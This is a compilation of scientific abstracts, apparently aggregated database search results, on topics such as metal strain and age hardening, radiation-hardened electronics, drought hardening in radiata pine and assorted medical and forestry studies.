climates. To analyse the findings, an analytical framework was developed which considers four societal levels—individual, community, city, and national. The main challenges identified from the literature review are as follows: environmental, organisational, socio-economical, biophysical and behavioural. The paper also identifies several measures that could be taken to reduce the fast growth of AC use. However, due to the complex nature of the problem, there is no single solution to provide sustainable cooling. Alternative solutions were categorised in three broad categories: climate-sensitive urban planning and building design, alternative cooling technologies, and climate-sensitive attitudes and behaviour. The main findings concern the problems arising from leaving the responsibility to come up with cooling solutions entirely to the individual, and how different societal levels can work towards more sustainable cooling options. It is concluded that there is a need for a more holistic view both when it comes to combining various solutions as well as involving various levels in society. 13. Fatigue of coated and laser hardened steels International Nuclear Information System (INIS) La Cruz, P. de. 1990-01-01 In the present work the effect of ion nitriding, laser hardening and hot dip galvanizing upon the fatigue limit and notch sensitivity of a B-Mn Swedish steel SS 2131 have been investigated. The fatigue tests were performed in plane reverse bending fatigue (R=1). The quenched and tempered condition was taken as the reference condition. The microstructure, microhardness, fracture surface and coating appearance of the fatigue surface treated specimens were studied. Residual stress and retained austenite measurements were also carried out. It was found that ion nitriding improves the fatigue limit by 53 % for smooth specimens and by 115 % for notched specimens. Laser hardening improves the fatigue limit by 18 % and 56 % for smooth and notched specimen respectively. Hot dip galvanizing gives a slight deterioration of the fatigue limit (9 % and 10 % for smooth and notched specimen respectively). Ion nitriding and laser hardening decrease the value of the notch sensitivity factor q by 78 % and 65 % respectively. Hot dip galvanizing does not modify it. A simple schematic model based on a residual stress distribution, has been used to explain the different effects. It seems that the presence of the higher compressive residual stresses and the higher uniformity of the microstructure may be the causes of the better fatigue performance of ion nitrided specimens. (119 refs.) (author) 14. Metabolites and hormones are involved in the intraspecific variability of drought hardening in radiata pine. Science.gov (United States) De Diego, N; Saiz-Fernández, I; Rodríguez, J L; Pérez-Alfocea, P; Sampedro, M C; Barrio, R J; Lacuesta, M; Moncaleán, P 2015-09-01 Studies of metabolic and physiological bases of plant tolerance and hardening against drought are essential to improve genetic breeding programs, especially in productive species such as Pinus radiata. The exposure to different drought cycles is a highly effective tool that improves plant conditioning, but limited information is available about the mechanisms that modulate this process. To clarify this issue, six P. radiata breeds with well-known differences in drought tolerance were analyzed after two consecutive drought cycles. Survival rate, concentration of several metabolites such as free soluble amino acids and polyamines, and main plant hormones varied between them after drought hardening, while relative growth ratio and water potential at both predawn and dawn did not. Hardening induced a strong increase in total soluble amino acids in all breeds, accumulating mainly those implicated in the glutamate metabolism (GM), especially L-proline, in the most tolerant breeds. Other amino acids from GM such as γ-aminobutyric acid (GABA) and L-arginine (Arg) were also strongly increased. GABA pathway could improve the response against drought, whereas Arg acts as precursor for the synthesis of spermidine. This polyamine showed a positive relationship with the survival capacity, probably due to its role as antioxidant under stress conditions. Finally, drought hardening also induced changes in phytohormone content, showing each breed a different profile. Although all of them accumulated indole-3-acetic acid and jasmonic acid and reduced zeatin content in needles, significant differences were observed regarding abscisic acid, salicylic acid and mainly zeatin riboside. These results confirm that hardening is not only species-dependent but also an intraspecific processes controlled through metabolite changes. Copyright © 2015 Elsevier GmbH. All rights reserved. 15. Design and implementation of a radiation hardened silicon on sapphire (SOS) embedded signal conditioning unit controller (SCUC) for the RAPID instrument on the Cluster satellites International Nuclear Information System (INIS) Ersland, L. 1992-07-01 The Cluster mission consistens of four spacecrafts equipped with instruments capable of making comprehensive measurements of plasma particles and electromagnetic fields. The RAPID (Research with Adaptive Particle Imaging Detectors) spectrometer is one of many instruments on board the Cluster satellites. It is designed for fast analysis of energetic electrons and ions with a complete coverage of the unit sphere in phase space. This thesis describes the development and testing of an embedded controller for the Spectroscopic Camera for Electrons, Neutral and Ion Compositions (SCENIC), which is a part of the RAPID instrument. The design is implemented in two different CMOS circuit technologies, namely Actel's Field Programmable Gate Arrays and GEC Plessey's CMOS Silicon On Sapphire (SOS) gate array. The prototypes of the SOS gate array have been verified and characterized. This includes measurements of DC and AC parameters under different conditions, including total dose of gamma irradiation. 42 refs., 92 figs., 44 tabs 16. Improving working conditions and increasing profits in forestry. OpenAIRE Johansson K; Strehlke B 1996-01-01 Briefly looks at the links between work organization, productivity and working conditions. Discusses the advantages which can be gained by using appropriate tools and techniques and improving working conditions and safety. Based on 24 case studies which cover a broad range of forestry activities. 17. NEW APPROACH FOR TECHNOLOGY OF VOLUMETRIC – SUPERFICIAL HARDENING OF GEAR DETAILS OF THE BACK AXLE OF MOBILE MACHINES Directory of Open Access Journals (Sweden) A. I. Mihluk 2010-01-01 Full Text Available The new approach for technology of volumetric – superficial hardening of gear details of the back axle made of steel lowered harden ability is offered. This approach consisting in formation of intense – hardened condition on all surface of a detail. 18. Devising Strain Hardening Models Using Kocks–Mecking Plots—A Comparison of Model Development for Titanium Aluminides and Case Hardening Steel Directory of Open Access Journals (Sweden) Markus Bambach 2016-08-01 Full Text Available The present study focuses on the development of strain hardening models taking into account the peculiarities of titanium aluminides. In comparison to steels, whose behavior has been studied extensively in the past, titanium aluminides possess a much larger initial work hardening rate, a sharp peak stress and pronounced softening. The work hardening behavior of a TNB-V4 (Ti–44.5Al–6.25Nb–0.8Mo–0.1B alloy is studied using isothermal hot compression tests conducted on a Gleeble 3500 simulator, and compared to the typical case hardening steel 25MoCrS4. The behavior is analyzed with the help of the Kocks-Mecking plots. In contrast to steel the TNB-V4 alloy shows a non-linear course of θ (i.e., no stage-III hardening initially and exhibits neither a plateau (stage IV hardening nor an inflection point at all deformation conditions. The present paper describes the development and application of a methodology for the design of strain hardening models for the TNB-V4 alloy and the 25CrMoS4 steel by taking the course of the Kocks-Mecking plots into account. Both models use different approaches for the hardening and softening mechanisms and accurately predict the flow stress over a wide range of deformation conditions. The methodology may hence assist in further developments of more sophisticated physically-based strain hardening models for TiAl-alloys. 19. Hardening parts by chrome plating in manufacture and repair Science.gov (United States) Astanin, V. K.; Pukhov, E. V.; Stekolnikov, Y. A.; Emtsev, V. V.; Golikova, O. A. 2018-03-01 In the engineering industry, galvanic coatings are widely used to prolong the service life of the machines, which contribute to the increase in the strength of the parts and their resistance to environmental influences, temperature and pressure drops, wear and fretting corrosion. Galvanic coatings have been widely applied in engineering, including agriculture, aircraft building, mining, construction, and electronics. The article focuses on the manufacturing methods of new agricultural machinery parts and the repair techniques of worn parts by chrome plating. The main attention is paid to the unstable methods of chromium deposition (in pulsed and reversing modes) in low-concentration electrolytes, which makes it possible to increase the reliability and durability of the hardened parts operation by changing the conditions of electrocrystallization, that is, directed formation of the structure and texture, thickness, roughness and microhardness of chromium plating. The practical recommendations are given on the current and temperature regimes of chromium deposition and composition of baths used for the restoration and hardening of the machine parts. Moreover, the basic methods of machining allowances removal are analysed. 20. Radiation-hardenable diluents for radiation-hardenable compositions International Nuclear Information System (INIS) Schuster, K.E.; Rosenkranz, H.J.; Furh, K.; Ruedolph, H. 1979-01-01 Radiation-crosslinkable diluents for radiation-hardenable compositions (binders) consisting of a mixture of triacrylates of a reaction product of trimethylol propane and ethylene oxide with an average degree of ethoxylation of from 2.5 to 4 are described. The ethoxylated trimethylol propane is substantially free from trimethylol propane and has the following distribution: 4 to 5% by weight of monoethoxylation product, 14 to 16% by weight of diethoxylation product, 20 to 30% by weight of triethoxylation product, 20 to 30% by weight of tetraethoxylation product, 16 to 18% by weight of pentaethoxylation product, and 6 to 8% by weight of hexaethoxylation product. The diluents effectively reduce the viscosity of radiation-hardenable compositions and do not have any adverse effect upon their reactivity or upon the properties of the resulting hardened products 1. Increased cesium uptake by water tupelo under inundated conditions International Nuclear Information System (INIS) McLeod, K.W. 1980-01-01 Low level releases of 137 Cs to streams has resulted in concentrations greater than background levels in soils, sediments and plants of the Savannah River swamp. The object of this study was to determine the effect of inundation on the absorption of 137 Cs by water tupelo (Nyssa aquatica) which is dominant in the swamp and is able to survive and grow well under flooded conditions. Results show that actively growing young water tupelo absorb about twice as much 137 Cs when grown in the laboratory under inundated conditions suggesting that in the spring, when inundated conditions usually exist and rapid growth occurs, uptake of 137 Cs is high. Some Cs is transported from soil depths and returned to soil surface via incorporation into leaves and subsequent leaf fall, thus continually mixing Cs which was buried below the soil surface. (U.K.) 2. Increasing Impact of Economic Conditions upon Higher Education Enrollments. Science.gov (United States) Rusk, James J.; And Others 1982-01-01 To assess the impact of economic conditions on enrollment in higher education, researchers used time series analysis on national data for 1966-78 and on 1972-78 data from all eight regions of the country and the University of Arizona. The findings indicate enrollment has gone up during economic downturns. (Author/RW) 3. GRAVITY PIPELINE TRANSPORT FOR HARDENING FILLING MIXTURES Directory of Open Access Journals (Sweden) Leonid KROUPNIK 2015-12-01 Full Text Available In underground mining of solid minerals becoming increasingly common development system with stowing hardening mixtures. In this case the natural ore array after it is replaced by an artificial excavation of solidified filling mixture consisting of binder, aggregates and water. Such a mixture is prepared on the surface on special stowing complexes and transported underground at special stowing pipelines. However, it is transported to the horizons of a few kilometers, which requires a sustainable mode of motion of such a mixture in the pipeline. Hardening stowing mixture changes its rheological characteristics over time, which complicates the calculation of the parameters of pipeline transportation. The article suggests a method of determining the initial parameters of such mixtures: the status coefficient, indicator of transportability, coefficient of hydrodynamic resistance to motion of the mixture. These indicators characterize the mixture in terms of the possibility to transport it through pipes. On the basis of these indicators is proposed methodology for calculating the parameters of pipeline transport hardening filling mixtures in drift mode when traffic on the horizontal part of the mixture under pressure column of the mixture in the vertical part of the backfill of the pipeline. This technique allows stable operation is guaranteed to provide pipeline transportation. 4. Simulating irradiation hardening in tungsten under fast neutron irradiation including Re production by transmutation Science.gov (United States) Huang, Chen-Hsi; Gilbert, Mark R.; Marian, Jaime 2018-02-01 Simulations of neutron damage under fusion energy conditions must capture the effects of transmutation, both in terms of accurate chemical inventory buildup as well as the physics of the interactions between transmutation elements and irradiation defect clusters. In this work, we integrate neutronics, primary damage calculations, molecular dynamics results, Re transmutation calculations, and stochastic cluster dynamics simulations to study neutron damage in single-crystal tungsten to mimic divertor materials. To gauge the accuracy and validity of the simulations, we first study the material response under experimental conditions at the JOYO fast reactor in Japan and the High Flux Isotope Reactor at Oak Ridge National Laboratory, for which measurements of cluster densities and hardening levels up to 2 dpa exist. We then provide calculations under expected DEMO fusion conditions. Several key mechanisms involving Re atoms and defect clusters are found to govern the accumulation of irradiation damage in each case. We use established correlations to translate damage accumulation into hardening increases and compare our results to the experimental measurements. We find hardening increases in excess of 5000 MPa in all cases, which casts doubts about the integrity of W-based materials under long-term fusion exposure. 5. Comparative Study of Hardening Mechanisms During Aging of a 304 Stainless Steel Containing α'-Martensite Science.gov (United States) Jeong, S. W.; Kang, U. G.; Choi, J. Y.; Nam, W. J. 2012-09-01 Strain aging and hardening behaviors of a 304 stainless steel containing deformation-induced martensite were investigated by examining mechanical properties and microstructural evolution for different aging temperature and time. Introduced age hardening mechanisms of a cold rolled 304 stainless steel were the additional formation of α'-martensite, hardening of α'-martensite, and hardening of deformed austenite. The increased amount of α'-martensite at an aging temperature of 450 °C confirmed the additional formation of α'-martensite as a hardening mechanism in a cold rolled 304 stainless steel. Additionally, the increased hardness in both α'-martensite and austenite phases with aging temperature proved that hardening of both α'-martensite and austenite phases would be effective as hardening mechanisms in cold rolled and aged 304 stainless steels. The results suggested that among hardening mechanisms, hardening of an α'-martensite phase, including the diffusion of interstitial solute carbon atoms to dislocations and the precipitation of fine carbide particles would become a major hardening mechanism during aging of cold rolled 304 stainless steels. 6. The increasing importance of environmental conditions in amyotrophic lateral sclerosis Science.gov (United States) Riancho, Javier; Bosque-Varela, Pilar; Perez-Pereda, Sara; Povedano, Mónica; de Munaín, Adolfo López; Santurtun, Ana 2018-04-01 Amyotrophic lateral sclerosis (ALS) is the most common neurodegenerative disease affecting motor neurons (MNs). Although a small percentage of ALS has a familial origin, the vast majority of cases are sporadic in which genetic factors and environment interact with each other leading to disease onset in genetically predisposed individuals. In the current model of the disease, each individual has a determined genetic load, some degree of cell degeneration related to age and several risky environmental exposures. In this scenario, MN degeneration would occur when the sum of these factors reach a certain threshold. To date, an extensive list of environmental factors has been associated to ALS, including different categories, such as exposure to heavy metals and other toxicants, cyanotoxins or infectious agents. In addition, in recent years, lifestyle and other demographic parameters are gaining relevance in the genesis of the disease. Among them, physical activity, nutrition, body mass index, cardiovascular risk factors, autoimmune diseases and cancer are some of the conditions which have been related to the disease. In this review, we will discuss the potential mechanisms of environmental conditions in motor neuron degeneration. Understanding the role of each one of these factors as well as their interactions appears as a crucial step in order to develop new preventive, diagnostic and therapeutic approaches for ALS patients. 7. An Innovative Radiation Hardened CAM Architecture CERN Document Server Shojaii, Seyed Ruhollah; The ATLAS collaboration 2018-01-01 This article describes an innovative Content Addressable Memory (CAM) cell with radiation hardened (RH) architecture. The RH-CAM is designed in a commercial 28 nm CMOS technology. The circuit has been simulated in worst-case conditions, and the effects due to single particles have been analyzed by injecting a current pulse into a circuit node. The proposed architecture is suitable for on-time pattern recognition tasks in harsh environments, such as front-end electronics in hadron colliders and in space applications. 8. Conditions and prospects for increasing forest yield in northern Europe Energy Technology Data Exchange (ETDEWEB) Jonsson, R.; Mustonen, M.; Lundmark, T. [and others 2013-09-01 Forests will play a crucial role in the transformation from an economy based on fossil fuels to one relying on renewable resources. Hence, besides being a source of raw material for the forest industry, in the future, forests are expected to increasingly contribute to the production of energy as well as providing a wide range of environmental and social services. Thus, the objective of the present study is to assess the short-term and long-term potential for increasing sustainable wood supply in the EFINORD countries. Present practices and prospects for intensive forest management have been assessed using information from a questionnaire complemented by compilation and evaluating of national forest inventory (NFI) data and other forest sector relevant information. The study indicates a striking variation in the intensity of utilisation of the wood resources within the EFINORD region. For the region as a whole, there seems to be a substantial unused (biophysical) potential. However, recent NFI data from some countries indicate that annual felling rates can be underestimated. If felling rates are higher than currently recognised then, given the increased demand for wood-based energy, there appears to be a need to discuss strategies for large-scale implementation of more intensive forestry practices to ensure that the availability of wood resources in the future can meet an increasing demand in the EFINORD countries. (orig.) 9. The increasing relevance of biofilms in common dermatological conditions. Science.gov (United States) Kravvas, G; Veitch, D; Al-Niaimi, F 2018-03-01 Biofilms are diverse groups of microorganisms encased in a self-produced matrix that offers protection against unfavorable conditions and antibiotics. We performed a literature search using the MEDLINE electronic database. Only original articles published in English were considered for review. Biofilms have been implicated in the pathogenesis of acne, eczema, hidradenitis suppurativa, onychomycosis, miliaria, and impetigo. Adverse dermal-filler reactions are also linked to biofilms. Strict aseptic technique and prophylactic antibiotics are recommended in order to avoid such complications. Finally, biofilms are implicated in wounds, mainly chronic and diabetic, where they impede healing and cause recurrent infections. Several novel anti-biofilm agents and wound debridement have been shown to be beneficial. Biofilms are a significant cause of disease with wide implications in the field of dermatology. Several novel treatments have been found to be effective against biofilms, depending on the underlying microbes and type of disease. 10. Increased root production in soybeans grown under space flight conditions. Science.gov (United States) Levine, H. G.; Piastuch, W. C. The GENEX ({Gen}e {Ex}pression) spaceflight experiment (flown on STS-87) was developed to investigate whether direct and/or indirect effects of microgravity are perceived as an external stimulus for soybean seedling response. Protocols were designed to optimize root and shoot formation, gas exchange and moisture uniformity. Six surface sterilized soybean seeds (Glycine max cv McCall) were inserted into each of 32 autoclaved plastic seed growth pouches containing an inner germination paper sleeve (for a total of 192 seeds). The pouches were stowed within a mid-deck locker until Mission Flight Day 10, at which time an astronaut added water to each pouch (thereby initiating the process of seed germination on-orbit), and subsequently transferred them to four passive, light-tight aluminum canisters called BRIC-60s (Biological Research In Canisters). We report here on the morphological characteristics of: (1) the recovered flight material, (2) the corresponding ground control population, plus (3) additional controls grown on the ground under clinostat conditions. No significant growth differences were found between the flight, ground control and clinorotated treatments for either the cotyledons or hypocotyls. There were, however, significantly longer primary roots produced in the flight population relative to the ground control population, which in turn had significantly longer primary roots than the clinorotated population. This same pattern was observed relative to the production of lateral roots (flight > control > clinorotated). Taken together with previous literature reports, we believe that there is now sufficient evidence to conclude that plants grown under conditions of microgravity will generally exhibit enhanced root production relative to their ground control counterparts. The mechanism underlying this phenomenon is open to speculation. Funded under NASA Contract NAS10-12180. 11. Combined pulmonary fibrosis and emphysema: an increasingly recognized condition Directory of Open Access Journals (Sweden) Olívia Meira Dias 2014-06-01 Full Text Available Combined pulmonary fibrosis and emphysema (CPFE has been increasingly recognized in the literature. Patients with CPFE are usually heavy smokers or former smokers with concomitant lower lobe fibrosis and upper lobe emphysema on chest HRCT scans. They commonly present with severe breathlessness and low DLCO, despite spirometry showing relatively preserved lung volumes. Moderate to severe pulmonary arterial hypertension is common in such patients, who are also at an increased risk of developing lung cancer. Unfortunately, there is currently no effective treatment for CPFE. In this review, we discuss the current knowledge of the pathogenesis, clinical characteristics, and prognostic factors of CPFE. Given that most of the published data on CPFE are based on retrospective analysis, more studies are needed in order to address the role of emphysema and its subtypes; the progression of fibrosis/emphysema and its correlation with inflammation; treatment options; and prognosis. 12. Microstructure and age-hardening effects of aluminium alloys with additions of scandium and zirconium Energy Technology Data Exchange (ETDEWEB) Galun, R.; Mordike, B.L. [Inst. fuer Werkstoffkunde und Werkstofftechnik, Technische Univ. Clausthal, Clausthal-Zellerfeld (Germany); Maiwald, T.; Smola, B. [Zentrum fuer Funktionswerkstoffe GmbH, Clausthal-Zellerfeld (Germany); Mergen, R.; Manner, M.; Uitz, W. [Miba Gleitlager GmbH, Laakirchen (Australia) 2004-12-01 The aim of the work presented in this report was to produce age-hardenable aluminium alloys containing scandium and zirconium by a casting process with similar cooling conditions like an industrial casting process. Microstructure, precipitation structure and age-hardening response of different alloys with up to 0.4 wt.% Sc and Zr were investigated. Age-hardening experiments from the as-cast condition without solution annealing showed a significant increase of hardness of about 100% for Sc-rich alloys and of 50% for Zr-rich alloys compared to the as-cast condition. TEM investigations revealed the formation of precipitates of ternary Al{sub 3}(Sc{sub x}Zr{sub 1-x}) phases with a cubic cP4 crystal structure. In addition to the strengthening effect, a high thermal stability especially of the precipitates in Zr-rich alloys up to 400 C let these alloys look very promising for high-temperature applications. (orig.) 13. A Study of Tensile Flow and Work-Hardening Behavior of Alloy 617 Science.gov (United States) Singh, Aditya Narayan; Moitra, A.; Bhaskar, Pragna; Dasgupta, Arup; Sasikala, G.; Bhaduri, A. K. 2018-04-01 The simple power relationship σ = Κɛ p n satisfactorily expresses the tensile flow behavior of many metals and alloys in their uniform plastic strain regime. However, many FCC materials with low stacking fault energy have opposed such power law relationship. Alloy 617, an age-hardenable Ni-based superalloy is also observed not to obey the simple power law relationship neither in its solution-treated nor in its aged conditions. Various flow relationships were used to obtain the best fit for the tensile data, and different relationships were identified for the different aged conditions. The work-hardening rate (θ) demonstrates three distinct regions for all aged conditions, and there is an obvious change in the trend of θ versus σ. In the initial portion, θ decreases rapidly followed by a gradual increase in the second stage and again a decrease in its third stage is perceived in the Alloy 617. These three-stage characteristics are attributed to a commonly known precipitate, γ': Ni3(Ti, Al) which evolves during aging treatment and well recognized under transmission electron microscopy (TEM) observation. TEM results also reveal a slight degree of coarsening in γ' over aging. The tensile flow and the work-hardening behavior are well correlated with other microstructural evolution during the aging treatments. 14. Regions Competitiveness Increase by Improving Conditions for Industry and Services Directory of Open Access Journals (Sweden) Jiraskova Eliska 2013-03-01 Full Text Available The main field of study regarding location theories is to define location factors and to determine the optimal location assuming rational behaviour of economic entities. The issue is to find outwhat place is suitable for localization of the economic entity in order to maximize its profits in relation to its spatial orientation. In the theoretical part, location theories for industry andservices with the impact of location factors are first briefly described. Mainly their development and significance in the competitive environment is discussed because the right selection of location factors can actually help to increase the competitiveness of regions. This paper analyses the actual soft regional and local location factors in individual economic sectors and focuses on thesecondary and tertiary sector because the primary sector is affected by other than the examined factors. The aim of this paper is to identify factors that affect industry and are more important to the service sector. Identifying these factors can actually help to attract new businesses and to increase regions competitiveness. It is, therefore, necessary to determine the key factors that have stimulating effects on the development of individual regions. 15. Nonlinear kinematic hardening under non-proportional loading International Nuclear Information System (INIS) Ottosen, N.S. 1979-07-01 Within the framework of conventional plasticity theory, it is first determined under which conditions Melan-Prager's and Ziegler's kinematic hardening rules result in identical material behaviour. Next, assuming initial isotropy and adopting the von Mises yield criterion, a nonlinear kinematic hardening function is proposed for prediction of metal behaviour. The model assumes that hardening at a specific stress point depends on the direction of the new incremental loading. Hereby a realistic response is obtained for general reversed loading, and a smooth behaviour is assured, even when loading deviates more and more from proportional loading and ultimately results in reversed loading. The predictions of the proposed model for non-proportional loading under plane stress conditions are compared with those of the classical linear kinematic model, the isotropic model and with published experimental data. Finally, the limitations of the proposaed model are discussed. (author) 16. Role of grain refinement in hardening of structural steels at preliminary thermomechanical treatment International Nuclear Information System (INIS) Bukhvalov, A.B.; Grigor'eva, E.V.; Davydova, L.S.; Degtyarev, M.V.; Levit, V.I.; Smirnova, N.A.; Smirnov, L.V. 1981-01-01 The hardening mechanism during preliminary thermomechanical treatment with deformation by cold rolling or hydroextrusion is studied on structural 37KhN3M1 and 38KhN3MFA steels. Specimens have been tested on static tension, impact strength and fracture toughness. It is shown that hydroextrusion application instead of rolling does not change the hardening effect of preliminary thermomechanical treatment (PTMT). It is established that the increase of preliminary deformation degree and the use of accelerated short term hardening heating provides a bett er grain refinement and the increase of PTMT hardening effect [ru 17. Strain Hardening Behaviour and Its Effect on Properties of ZrB2 Reinforced Al Composite Prepared by Powder Metallurgy Technique Science.gov (United States) Kaku, Sai Mahesh Yadav; Khanra, Asit Kumar; Davidson, M. J. 2018-04-01 Strain hardening behaviour has significant effect on altering the properties of materials. In the present study, Al-ZrB2 metal matrix composites are made through powder metallurgy route. Incremental weight percentage (wt%) of ZrB2 (0, 2, 4 and 6 wt%) are added to Aluminium matrix to produce different composites. The homogenous powder mixture is compacted and pressurelessly sintered. Sintering of composites is performed over a range of 450-575 °C. The optimized sintered condition is observed at 550 °C for 1 h in controlled atmosphere (argon gas flow). The sintered compacts are strained in incremental steps in different levels up to failure. A visible crack on the bulge of the powder preform is considered as the failure. Composites are strain hardened up to failure. To evaluate the effect of temperature on strain hardening, strain hardening is carried out at different temperatures. Composites are densified with the extent of straining and hardness increases with the increase of strain. Hardness increase with the increase in temperature is maintained during strain hardening. To evaluate the corrosion behaviour of Al-ZrB2 composite, potentiodynamic polarization study are performed on the strained composites. Corrosion rate decrease with the extent of straining. 18. Plasma Methods of Obtainment of Multifunctional Composite Materials, Dispersion-Hardened by Nanoparticles Science.gov (United States) Sizonenko, O. N.; Grigoryev, E. G.; Pristash, N. S.; Zaichenko, A. D.; Torpakov, A. S.; Lypian, Ye. V.; Tregub, V. A.; Zholnin, A. G.; Yudin, A. V.; Kovalenko, A. A. 2017-09-01 High voltage electric discharge (HVED) in disperse system "hydrocarbon liquid - powder" due to impact of plasma discharge channel, electromagnetic fields, shock waves mechanical impact, hydro flows and volume microcavitation leads to synthesis of nanocarbon, metal powders dispersion and synthesis of micro- (from 10-6 to 10-7 m) and nanosized (from 10-7 to 10-9 m) composite powders of hardening phases. Spark plasma sintering (SPS) of powder mixtures allows targeted control of grain growth rate and thus allows obtainment of multifunctional composite materials dispersion hardened by nanoparticles. Processes of HVED synthesis of micro- and nanosized powders of new compositions from elemental metal powders and their mixtures with the subsequent application of high-speed SPS of obtained powders create conditions for increase of strength (by 10-20 %), hardness and wear-resistance (by 30-60 %) of obtained materials. 19. Age hardening in die-cast Mg–Al–RE alloys due to minor Mn additions Energy Technology Data Exchange (ETDEWEB) Zhu, S.M., E-mail: [email protected] [School Engineering, RMIT University, Carlton, Victoria 3053 (Australia); Department of Materials Science and Engineering, Monash University, Victoria 3800 (Australia); Abbott, T.B. [School Engineering, RMIT University, Carlton, Victoria 3053 (Australia); Department of Materials Science and Engineering, Monash University, Victoria 3800 (Australia); Magontec Limited, Sydney, New South Wales 2000 (Australia); Gibson, M.A. [School Engineering, RMIT University, Carlton, Victoria 3053 (Australia); Department of Materials Science and Engineering, Monash University, Victoria 3800 (Australia); CSIRO Manufacturing Flagship, Clayton, Victoria 3168 (Australia); Nie, J.F. [Department of Materials Science and Engineering, Monash University, Victoria 3800 (Australia); Easton, M.A. [School Engineering, RMIT University, Carlton, Victoria 3053 (Australia) 2016-02-22 Die-cast Mg–Al–rare earth (RE) alloys are normally used in the as-cast condition without the application of heat treatment because it is a common perception that heat treatment will not provide benefit to these alloys. This paper reports, for the first time, that enhanced age hardenability can be achieved in die-cast Mg–Al–RE alloys with minor Mn additions. For example, the yield strength of Mg–4 wt%Al–3 wt%La alloy with 0.32 wt% Mn is increased by ∼34 MPa (∼26%) after ageing at 200 °C for 32 h (T5). The enhanced age hardenability is associated with the precipitation of nanoscale Al–Mn particles during ageing. 20. Optimization of hardening/softening behavior of plane frame structures using nonlinear normal modes DEFF Research Database (Denmark) Dou, Suguang; Jensen, Jakob Søndergaard 2016-01-01 Devices that exploit essential nonlinear behavior such as hardening/softening and inter-modal coupling effects are increasingly used in engineering and fundamental studies. Based on nonlinear normal modes, we present a gradient-based structural optimization method for tailoring the hardening...... involving plane frame structures where the hardening/softening behavior is qualitatively and quantitatively tuned by simple changes in the geometry of the structures.... 1. Transient hardened power FETs International Nuclear Information System (INIS) Dawes, W.R. Jr.; Fischer, T.A.; Huang, C.C.C.; Meyer, W.J.; Smith, C.S.; Blanchard, R.A.; Fortier, T.J. 1986-01-01 N-channel power FETs offer significant advantages in power conditioning circuits. Similiarily to all MOS technologies, power FET devices are vulnerable to ionizing radiation, and are particularily susceptible to burn-out in high dose rate irradiations (>1E10 rads(Si)/sec.), which precludes their use in many military environments. This paper will summarize the physical mechanisms responsible for burn-out, and discuss various fabrication techniques designed to improve the transient hardness of power FETs. Power FET devices were fabricated with several of these techniques, and data will be presented which demonstrates that transient hardness levels in excess of 1E12 rads(Si)/sec. are easily achievable 2. Radiation-hardened bulk CMOS technology International Nuclear Information System (INIS) Dawes, W.R. Jr.; Habing, D.H. 1979-01-01 The evolutionary development of a radiation-hardened bulk CMOS technology is reviewed. The metal gate hardened CMOS status is summarized, including both radiation and reliability data. The development of a radiation-hardened bulk silicon gate process which was successfully implemented to a commercial microprocessor family and applied to a new, radiation-hardened, LSI standard cell family is also discussed. The cell family is reviewed and preliminary characterization data is presented. Finally, a brief comparison of the various radiation-hardened technologies with regard to performance, reliability, and availability is made 3. General analytical shakedown solution for structures with kinematic hardening materials Science.gov (United States) Guo, Baofeng; Zou, Zongyuan; Jin, Miao 2016-09-01 The effect of kinematic hardening behavior on the shakedown behaviors of structure has been investigated by performing shakedown analysis for some specific problems. The results obtained only show that the shakedown limit loads of structures with kinematic hardening model are larger than or equal to those with perfectly plastic model of the same initial yield stress. To further investigate the rules governing the different shakedown behaviors of kinematic hardening structures, the extended shakedown theorem for limited kinematic hardening is applied, the shakedown condition is then proposed, and a general analytical solution for the structural shakedown limit load is thus derived. The analytical shakedown limit loads for fully reversed cyclic loading and non-fully reversed cyclic loading are then given based on the general solution. The resulting analytical solution is applied to some specific problems: a hollow specimen subjected to tension and torsion, a flanged pipe subjected to pressure and axial force and a square plate with small central hole subjected to biaxial tension. The results obtained are compared with those in literatures, they are consistent with each other. Based on the resulting general analytical solution, rules governing the general effects of kinematic hardening behavior on the shakedown behavior of structure are clearly. 4. A non-linear kinematic hardening function International Nuclear Information System (INIS) Ottosen, N.S. 1977-05-01 Based on the classical theory of plasticity, and accepting the von Mises criterion as the initial yield criterion, a non-linear kinematic hardening function applicable both to Melan-Prager's and to Ziegler's hardening rule is proposed. This non-linear hardening function is determined by means of the uniaxial stress-strain curve, and any such curve is applicable. The proposed hardening function considers the problem of general reversed loading, and a smooth change in the behaviour from one plastic state to another nearlying plastic state is obtained. A review of both the kinematic hardening theory and the corresponding non-linear hardening assumptions is given, and it is shown that material behaviour is identical whether Melan-Prager's or Ziegler's hardening rule is applied, provided that the von Mises yield criterion is adopted. (author) 5. Radiation hardening of semiconductor parts International Nuclear Information System (INIS) Anon. 1993-01-01 This chapter is an overview of total-ionizing-dose and single-event hardening techniques and should be used as a guide to a range of research publications. It should be stressed that there is no clear and simple route to a radiation-tolerant silicon integrated circuit. What works for one fabrication process may not work for another, and there are many complex interactions within individual processes and designs. The authors have attempted to highlight the most important factors and those process changes which should bring improved hardness. The main point is that radiation-hardening as a procedure must be approached in a methodical fashion and with a good understanding of the response mechanisms involved 6. Scintillation-Hardened GPS Receiver Science.gov (United States) Stephens, Donald R. 2015-01-01 CommLargo, Inc., has developed a scintillation-hardened Global Positioning System (GPS) receiver that improves reliability for low-orbit missions and complies with NASA's Space Telecommunications Radio System (STRS) architecture standards. A software-defined radio (SDR) implementation allows a single hardware element to function as either a conventional radio or as a GPS receiver, providing backup and redundancy for platforms such as the International Space Station (ISS) and high-value remote sensing platforms. The innovation's flexible SDR implementation reduces cost, weight, and power requirements. Scintillation hardening improves mission reliability and variability. In Phase I, CommLargo refactored an open-source GPS software package with Kalman filter-based tracking loops to improve performance during scintillation and also demonstrated improved navigation during a geomagnetic storm. In Phase II, the company generated a new field-programmable gate array (FPGA)-based GPS waveform to demonstrate on NASA's Space Communication and Navigation (SCaN) test bed. 7. Radiation-hardened control system International Nuclear Information System (INIS) Vandermolen, R.I.; Smith, S.F.; Emery, M.S. 1993-01-01 A radiation-hardened bit-slice control system with associated input/output circuits was developed to prove that programmable circuits could be constructed to successfully implement intelligent functions in a highly radioactive environment. The goal for this effort was to design and test a programmable control system that could withstand a minimum total dose of 10 7 rads (gamma). The Radiation Hardened Control System (RHCS) was tested in operation at a dose rate that ranged up to 135 krad/h, with an average total dose of 10.75 Mrads. Further testing beyond the required 10 7 rads was also conducted. RHCS performed properly through the target dose of 10 7 rads, and sporadic intermittent failures in some programmable logic devices were noted after ∼ 13 Mrads 8. Energetic model of metal hardening Directory of Open Access Journals (Sweden) Ignatova O.N. 2011-01-01 Full Text Available Based on Bailey hypothesis on the link between strain hardening and elastic lattice defect energy this paper suggests a shear strength energetic model that takes into consideration plastic strain intensity and rate as well as softening related to temperature annealing and dislocation annihilation. Metal strain hardening was demonstrated to be determined only by elastic strain energy related 